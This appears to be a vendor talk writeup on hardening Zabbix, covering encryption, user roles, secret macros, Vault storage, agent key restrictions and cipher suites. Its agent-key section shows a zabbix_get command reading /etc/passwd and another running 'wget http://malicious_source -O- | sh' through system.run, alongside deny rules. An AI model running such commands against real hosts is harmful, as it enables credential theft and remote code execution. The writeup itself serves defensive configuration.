Zabbix needs to be secure as Zabbix configuration contains credentials, which are used to access all other systems, and the data collected from those systems may contain very sensitive information. In addition, Zabbix can execute remote commands on your production servers.
Contents
I. Evolution of security (1:19)
II. Zabbix frontend (2:48)
III. Zabbix users (4:55)
IV. Internal communications (9:14)
V. Secret user macros (16:42)
VI. Agent key restrictions (24:57)
VII. Custom cipher suites (29:32)
VIII. Conclusion (33:08)
Evolution of security
Zabbix 2.0 was a very innovative though not a very secure monitoring solution. In Zabbix 2.0, you could encrypt only the connection to the frontend and keep your password safe in the database by hashing them in MD5. All other components didn’t have an encrypted connection.
Encryption in Zabbix 2.0
In Zabbix 3.0, we introduced encryption between different Zabbix components — Zabbix servers, Zabbix proxy, Zabbix agents, and command-line utilities, so the system has become much more secure.
Encryption in Zabbix 3.0
In Zabbix 5.0, a new feature was introduced — encryption between the Zabbix server and the database.
Encryption in Zabbix 5.0
In Zabbix 5.2, you can actually keep your secrets safe by storing them in a HashiCorp Vault, which makes them unreachable for any intruders. In addition, in Zabbix 5.2, granular permissions are available.
Zabbix frontend
Nowadays, many people are working from home and accessing Zabbix instances from their home computers using insecure web connections. So, somebody can actually intercept the data transferred between Zabbix and the frontend. That’s why you can use an encrypted connection to make sure that data is unreadable for outsiders.
NOTE. Remember that all other security information is at risk if your connection is not secure and all your security credentials can be compromised.
You have several options to make connections encrypted. You can use one public key or public and private keys.
So, with the public key exchange, you have one key that will be granted to anyone who has access. Here, the issue might be that you have only one key. With public and private key, you have one key to encrypt the data and another — to be shared with someone who will be able to decrypt the data and understand the information sent.
- The server has both public key to encrypt and private key to decrypt the data.
- The server sends the public key to a web browser, which uses it for encryption.
- Only the server has the private key to decrypt the information.
- Additionally, the identity of the web server can be verified.
Here, HTTP is the industry standard. In this scenario, the connection can be intercepted, and someone can read your traffic, but it is unreadable without the private key.
The first step before setting up other security methods.
Zabbix users
There are three types of Zabbix users:
- Zabbix Super Admin has unlimited access to everything, can change configuration, and view all the secrets.
- Zabbix Admin can change some elements of configuration, view some information about the configuration, and create hosts and templates.
- Zabbix User can only monitor the data and create maps and dashboards.
Zabbix user types
We can assign users to different user groups with the access rights that can be extended.
- Administrator groups with read/write access.
- User groups with read-only access.
- Zabbix Super Admin with unrestricted access to all hosts.
Host group and user group-based Zabbix permissions.
However, if somebody gets unauthorized access, this intruder can get access to absolutely everything in your Zabbix instance: passwords, macros, values, and the data you collect. So, the main concern here is to protect Super Admin user, for instance, by setting a strong password and limiting the number of Super Admins.
Username and password
- Default Admin username and password must be changed after you install Zabbix for the first time.
- In earlier Zabbix versions, MD5 was used to encrypt the passwords. Now, a more secure encryption method is used — bcrypt algorithm:
— uses unique salt value to protect against rainbow table attacks.
— is more resistant to brute force and not feasible for hardware acceleration. - If Zabbix is upgraded, password rehashes automatically to use bcrypt on password change or on the first login.
External authentication
- External authentication can be used to manage users.
- Different authentication methods can be mixed.
You can also use external authentication — LDAP, SAML and/or HTTP keeping usernames and passwords outside of Zabbix. LDAP and SAML, for instance, allow for restricting access to users without removing them from Zabbix.
NOTE. When using an external provider for authentication, remember to secure the communication between Zabbix and external provider.
Internal communications
Built-in encryption
Build-in encryption can protect connection between different Zabbix components such as:
- Zabbix Server and Zabbix Proxy,
- Zabbix Server/Proxy and Zabbix agent,
- Zabbix commandline utilities.
Built-in encryption
Encryption types
- Zabbix built-in encryption supports:
— Certificates. 
— Pre-shared keys (PSK).
- For incoming connections, multiple types can be specified at once.
- In Zabbix 5.2, if encryption is used, the configuration tab is highlighted.
Certificates or PSK?
Since Zabbix supports 2-Kb keys, you can use certificates and PSK. However, certificate are considered potentially more secure as they use a pair of keys.
Certificates
- asymmetric encryption,
- identity authentication,
- certificate revocation lists (CRL) can be used,
- can be restricted by specifying Issuer and Subject.
PSK
- symmetric encryption,
- easier to set-up.
Encryption key size
Bigger keys offer stronger encryption but require more CPU power. So, the size depends on how much resources are available for encryption.
— RSA 2048 keys are the current industry standard and are considered ‘unbreakable’.
— As of 2020, the largest RSA key publicly known to be cracked is RSA-250.
A simple openssl speed test may show estimated performance.
Encryption methods
You can choose the preferred method for encryption based on your requirements. So, if you connection is secured, it can be left unencrypted.
Secure autoregistration
- Zabbix 5.0 introduced a secure active agent auto-registration option, which means that from the moment of the agent registration, the communication is secured, and all the information is exchanged securely.
- The PSK key is defined in Zabbix administrative section and hidden.
- The initial autoregistration attempt is already encrypted.
- If autoregistration is done via proxy, protect proxy communication.
Encrypted and unencrypted
If a connection between the agent and the Zabbix server is not encrypted, somebody can connect to your agent and execute some commands to get your data or passwords.
Zabbix database connection
Starting from version 5.0 Zabbix, DB connection can be encrypted, so that you can securely exchange information between Zabbix Server, Zabbix frontend and the Database.
- Certificates are used for securing the connection.
- Supported for following DB engines:
— MySQL.
— PostgreSQL.
Server configuration file
Connection encryption allows not only for securing the data exchange, but also for verifying connection to the correct database or for using the correct certificate authority.
You have three configuration options:
The level of security is set up by the user, though even the first level will offer sufficient encryption.
Secret user macros
Unsafe user macros
Most of the secrets are kept in user macros, which can contain different information, including thresholds, passwords, IP addresses, etc.
User macro content can be seen by Admin user with access to the host
The Inherited and host macros tab gives access to all the passwords inside those macros and potentially to some of the systems the passwords are used for.
Global and template macros
So, some global macros that are by default accessible only by Super Admins, are available on any host on the Inherited and host macros tab. In Zabbix 5.0, we can use a new feature — secret macros.
Secret macros
Secret macros allow you to hide information from any person, who is not allowed to view it, as the value of the secret macro is never displayed. Secret macros are not used on test forms and are not cloned together with Host / Template macro.
As secret macros are still stored in the database, they are potentially vulnerable to intruders. So, you need to protect the database connection by encryption, as the DB backup can be stolen.
External vault
We can also use an external HashiCorp vault to store all your passwords and other secrets separately. To access the vault, a secure token is used. However, connection to the vault must be secured with TLS.
- The vault is a tool for securely accessing secrets, such as passwords.
- The vault provides a unified interface to any secret, while providing tight access control and recording a detailed audit log.
- Initially, the vault is sealed and must be unsealed using unseal keys.
There are five keys overall and to unseal the vault for the first time, you’ll need at least three of them. Ideally, you’ll have three people with their own keys.
Once the vault is unsealed, Zabbix uses access token to authenticate, and the vault will then send back the macro values. The values of secrets are retrieved on every Zabbix configuration update.
Secrets are stored in Zabbix configuration cache. After the secrets are updated in the frontend, it is possible to refresh values in the vault using a secrets_reload command.
Storing the vault configuration
So, the secrets are kept in configuration cache, and you can reload the whole config cache or reload the secrets. We have three configuration options — we can specify the vault token, vault URL and vault path.
New Zabbix Server configuration options
So, previously there was the Zabbix server configuration file with a password, and now — the Zabbix server configuration file with vault token. However, the vault parameters are still stored as plain text in configuration file.
So, if you have access to the config file, you can use the DB password or the vault token. You need to make sure to hide the token itself so that it’s not reachable. The token can be set as a ‘VAULT_TOKEN‘ environment variable. In this setup, the vault token is not defined in the Zabbix configuration files. As soon as the Zabbix Server starts, this environment variable will be automatically unset.
export VAULT_TOKEN=LYyfMekAlZafHwQj15WkTmP
Vault macros
There are three types of macros — simple macros, secret macros, and vault macros.
When you use the vault macro, you need to specify the reference path to show Zabbix where your secrets are kept. In Zabbix, the reference path to vault secret is specified as a macro value. In this case, the value of the Vault secret is unreadable from the Zabbix frontend.
Agent key restrictions
Restricting agent keys
In Zabbix 5.0, agent key restrictions were introduced. Zabbix can collect sensitive information via agents, including information from configuration files, log files, or even password files. Agent can access the Zabbix Server configuration file, as it’s readable by Zabbix by default. Since Zabbix server and Zabbix agents have access to the collected metrics, you can create a key to access this information, which is intended to be kept secure.
#zabbix_get -s my.prod.host -k vfs.file.contents[/etc/passwd] root:x:0:0:root:/root:/bin/bash adm:x:3:4:adm:/var/adm:/sbin/nologin noob123:x:2:2:adm:/home/noob123:/bin/bash zabbix:x:993:990:Zabbix:/var/lib/zabbix:/sbin/nologin
In addition, Zabbix agent can execute remote commands on remote hosts to gather free memory, disk space, and other data. So, anything can go wrong here. Any person with access to the Zabbix agent can execute a remote command to download some malicious software on your workstations servers or any other device with the Zabbix agent installed.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
Therefore, in Zabbix, remote commands are disabled by default. On Windows, Zabbix agent runs as Local System by default.
- In Zabbix 5.0, to prevent unauthorized remote commands, agent key restrictions are implemented using AllowKey or DenyKey.
- Wildcard (*) patterns can also be used in both key name and parameters.
AllowKey=system.run[ipcs -l] DenyKey=vfs.file.*[*]
- If the key is denied, the item is reported as unsupported.
Key order
The AllowKey and DenyKey are checked in the order, in which they are specified. As soon as an item key matches a rule, it is either allowed or denied.
For instance, if you want to grant access to log files of an application or the database and deny access to any other files, you need to create the rule. If ‘DenyKey=*‘ is specified first in the list, all the following AllowKey parameters will be ignored.
Since the order matters, you need to allow what you want to allow first and then deny everything else.
AllowKey=vfs.file.*[/var/log/myapp/*] AllowKey=vfs.file.*[/var/log/mydb/*] DenyKey=vfs.file.*[*]
Custom cipher suites
Cipher suite
To secure Zabbix in the best way possible using the strongest encryption available, you can use custom cipher suites.
A cipher suite is a set of algorithms that help secure a network connection that uses TLS:
- key exchange algorithm (DH, ECDH, DHE, ECDHE, PSK),
- authentication algorithm (RSA, ECDSA, DSA),
- encryption algorithm (AES, RC4, CHACHA20, ARIA),
- message hashing (SHA-1, SHA-256, POLY1305).
These algorithms have some vulnerabilities, so you need to use a combination of them. If the cipher used in encryption is vulnerable, then your TLS connection is potentially vulnerable.
Zabbix 5.2 offers the possibility to define custom ciphers for HTTPS protocol and to use custom cipher suites for encryption in command-line utilities and between:
- Zabbix Server and Zabbix Proxy,
- Zabbix Server and Zabbix Agent,
- Zabbix Server and Database,
- Zabbix Frontend and Database.
In case of a vulnerability, you can immediately react and make your system secure. The question is what type of suit to choose. The most advanced cipher suites are most secure, while older systems may not support latest cipher suites. However, as environments grow bigger, some of the devices remain quite old and don’t support anything new. In Zabbix, you can use different combinations of cypher suites between different devices and components.
The cipher suite must be known to both sides
Cipher suites are meant for security experts.
Conclusion
To secure Zabbix properly, you need to secure:
- connection between Zabbix and Zabbix frontend to make sure the exchange of configuration and sensitive data will be encrypted;
- connection between Zabbix Server and the database to make sure the data exchange between Zabbix Server and the database, as well as the collected data will be secure and unreadable;
- connections between Zabbix Server and Zabbix Proxy once the data is secured;
- connections between Zabbix Server and Zabbix Agents.
Then, in Zabbix 5.0, you can store your secrets in the vault.
Finally, make sure to restrict the sensitive keys, for instance, unwanted command execution or possibility to read the contents of the password file.
The system with all the connections encrypted and secure will be safe.
For experienced Zabbix users willing to become security experts, we offer a new one-day security training course that does not require Zabbix certification. The course covers security options on an expert level:
- Secret macros and Vault.
- Securing connections using PSK or certificates.
- Restricting agent keys.
- Granular user permissions, etc.
Questions & Answers
Question. What are you planning to include in the security training?
Answer. We will cover such topics as using the vault, securing connections, using DB encryption, and other things, for instance, using firewalls. The course involves a lot of practical setups concerning security.
Question. Is there anything that you think should be secured in addition to what we currently have?
Answer. The presented setup is already pretty secure. There is one thing, which is currently not possible to encrypt using Zabbix built-in tools — the connection between Zabbix frontend and Zabbix Server. If your servers are located in different places, you may encrypt the communication between the front-end and server with other tools.
Question. Do we have any plans to make such an encryption configuration enabled by default?
Answer. While it’s very important to keep your information protected and secure, out-of-the-box encryption will make the setup too complex for beginners. We have millions of Zabbix users, and we don’t want to make Zabbix over-complicated. So, I think you will still be able to have a very basic setup, for instance, for home monitoring. Advanced protection will be available for more advanced users, for instance, for enterprises.
Question. How does Zabbix or does Zabbix at all deal with expiring tokens?
Answer. In this case, you must manage your tokens on the vault side as Zabbix is using the token just to connect to the vault. So, if the token is about to expire, you need to create a new token. You can monitor the token expiration date with Zabbix, and Zabbix will give you the warning.
Another option is to use Periodic service tokens. Periodic tokens have a TTL (validity period), but no max TTL; therefore, they may live for an infinite duration of time so long as they are renewed within their TTL. This is useful for long-running services like Zabbix server that cannot handle regenerating a token. More information can be found here: https://learn.hashicorp.com/tutorials/vault/tokens
